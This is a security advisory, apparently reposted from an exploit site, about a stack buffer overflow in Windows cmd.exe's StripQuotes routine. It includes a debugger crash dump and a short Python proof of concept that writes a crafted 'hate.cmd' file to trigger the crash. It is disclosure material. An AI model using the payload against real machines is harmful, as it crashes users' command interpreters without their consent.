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## https://sploitus.com/exploit?id=1337DAY-ID-36802
# Title: Microsoft Windows cmd.exe - Stack Buffer Overflow
# Author: John Page (aka hyp3rlinx)
# Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CMD.EXE-STACK-BUFFER-OVERFLOW.txt
# ISR: ApparitionSec

[Vendor]
www.microsoft.com


[Product]
cmd.exe is the default command-line interpreter for the OS/2, eComStation, ArcaOS, Microsoft Windows (Windows NT family and Windows CE family), and ReactOS operating systems. 


[Vulnerability Type]
Stack Buffer Overflow


[CVE Reference]
N/A


[Security Issue]
Specially crafted payload will trigger a Stack Buffer Overflow in the NT Windows "cmd.exe" commandline interpreter. Requires running an already dangerous file type like .cmd or .bat. However, when cmd.exe accepts arguments using /c /k flags which execute commands specified by string, that will also trigger the buffer overflow condition.

E.g. cmd.exe /c <PAYLOAD>.

[Memory Dump]
(660.12d4): Stack buffer overflow - code c0000409 (first/second chance not available)
ntdll!ZwWaitForMultipleObjects+0x14:
00007ffb`00a809d4 c3              ret


0:000> .ecxr
rax=0000000000000022 rbx=000002e34d796890 rcx=00007ff7c0e492c0
rdx=00007ff7c0e64534 rsi=000000000000200e rdi=000000000000200c
rip=00007ff7c0e214f8 rsp=000000f6a82ff0a0 rbp=000000f6a82ff1d0
r8=000000000000200c  r9=00007ff7c0e60520 r10=0000000000000000
r11=0000000000000000 r12=000002e34d77a810 r13=0000000000000002
r14=000002e34d796890 r15=000000000000200d
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
cmd!StripQuotes+0xa8:
00007ff7`c0e214f8 cc              int     3

0:000> !analyze -v
*******************************************************************************
*                                                                             *

*                        Exception Analysis                                   *

*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
cmd!StripQuotes+a8
00007ff7`c0e214f8 cc              int     3


EXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00007ff7c0e214f8 (cmd!StripQuotes+0x00000000000000a8)
   ExceptionCode: c0000409 (Stack buffer overflow)
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 0000000000000008

PROCESS_NAME:  cmd.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1:  0000000000000008

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000000000012d4

BUGCHECK_STR:  APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_SOFTWARE_NX_FAULT_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  STACK_BUFFER_OVERRUN_EXPLOITABLE

DEFAULT_BUCKET_ID:  STACK_BUFFER_OVERRUN_EXPLOITABLE

LAST_CONTROL_TRANSFER:  from 00007ffafcfca9c6 to 00007ffb00a809d4

STACK_TEXT:  
000000f6`a82fea38 00007ffa`fcfca9c6 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!ZwWaitForMultipleObjects+0x14
000000f6`a82fea40 00007ffa`fcfca8ae : 00000000`00000098 00000000`00000096 00000000`d000022d 00000000`d000022d : KERNELBASE!WaitForMultipleObjectsEx+0x106
000000f6`a82fed40 00007ffa`fe1d190e : 00000000`00000000 000000f6`a82ff1d0 00007ff7`c0e3e000 00007ffb`009f5a81 : KERNELBASE!WaitForMultipleObjects+0xe
000000f6`a82fed80 00007ffa`fe1d150f : 00000000`00000000 00000000`00000000 00000000`00000003 00000000`00000001 : kernel32!WerpReportFaultInternal+0x3ce
000000f6`a82feea0 00007ffa`fd05976b : 00000000`00000000 000000f6`a82ff1d0 00000000`00000004 00000000`00000000 : kernel32!WerpReportFault+0x73
000000f6`a82feee0 00007ff7`c0e26b6a : 00007ff7`c0e3e000 00007ff7`c0e3e000 00000000`0000200e 00000000`0000200c : KERNELBASE!UnhandledExceptionFilter+0x35b
000000f6`a82feff0 00007ff7`c0e26df6 : 000002e3`00000000 00007ff7`c0e10000 000002e3`4d796890 00007ff7`c0e6602c : cmd!_raise_securityfailure+0x1a
000000f6`a82ff020 00007ff7`c0e214f8 : 000002e3`4d77a810 00000000`00000000 00000000`00000002 00000000`0000200e : cmd!_report_rangecheckfailure+0xf2
000000f6`a82ff0a0 00007ff7`c0e2096f : 00000000`0000200c 000000f6`a82ff1d0 000000f6`a82ff1d0 00000000`0000200e : cmd!StripQuotes+0xa8
000000f6`a82ff0d0 00007ff7`c0e239a9 : 000002e3`4d76ff90 000002e3`4d76ff90 00000000`00000000 000002e3`4d76ff90 : cmd!SearchForExecutable+0x443
000000f6`a82ff390 00007ff7`c0e1fb9e : 00000000`00000000 000002e3`4d76ff90 ffffffff`ffffffff 000002e3`4d990000 : cmd!ECWork+0x69
000000f6`a82ff600 00007ff7`c0e1ff35 : 00007ff7`c0e4fbb0 000002e3`4d76ff90 00000000`00000000 00000000`00000001 : cmd!FindFixAndRun+0x3de
000000f6`a82ffaa0 00007ff7`c0e2277e : 00000000`00000002 000000f6`a82ffbb0 00000000`00000000 00000000`00000002 : cmd!Dispatch+0xa5
000000f6`a82ffb30 00007ff7`c0e26a89 : 00000000`00000001 00000000`00000000 00007ff7`c0e3fd78 00000000`00000000 : cmd!main+0x1fa
000000f6`a82ffbd0 00007ffa`fe1e1fe4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : cmd!wil::details_abi::ProcessLocalStorage<wil::details_abi::ProcessLocalData>::~ProcessLocalStorage<wil::details_abi::ProcessLocalData>+0x289
000000f6`a82ffc10 00007ffb`00a4efc1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
000000f6`a82ffc40 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21

FOLLOWUP_IP: 
cmd!StripQuotes+a8
00007ff7`c0e214f8 cc              int     3

SYMBOL_STACK_INDEX:  8

SYMBOL_NAME:  cmd!StripQuotes+a8

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: cmd

IMAGE_NAME:  cmd.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  0

STACK_COMMAND:  ~0s ; kb

FAILURE_BUCKET_ID:  STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_cmd.exe!StripQuotes

BUCKET_ID:  X64_APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_SOFTWARE_NX_FAULT_EXPLOITABLE_MISSING_GSFRAME_cmd!StripQuotes+a8


[Exploit/POC]
PAYLOAD=chr(235) + "\\CC"
PAYLOAD = PAYLOAD * 3000

with open("hate.cmd", "w") as f:
    f.write(PAYLOAD)


[Network Access]
Local


[Video PoC URL]
https://www.youtube.com/watch?v=wYYgjV-PzD8


#  0day.today [2021-10-19]  #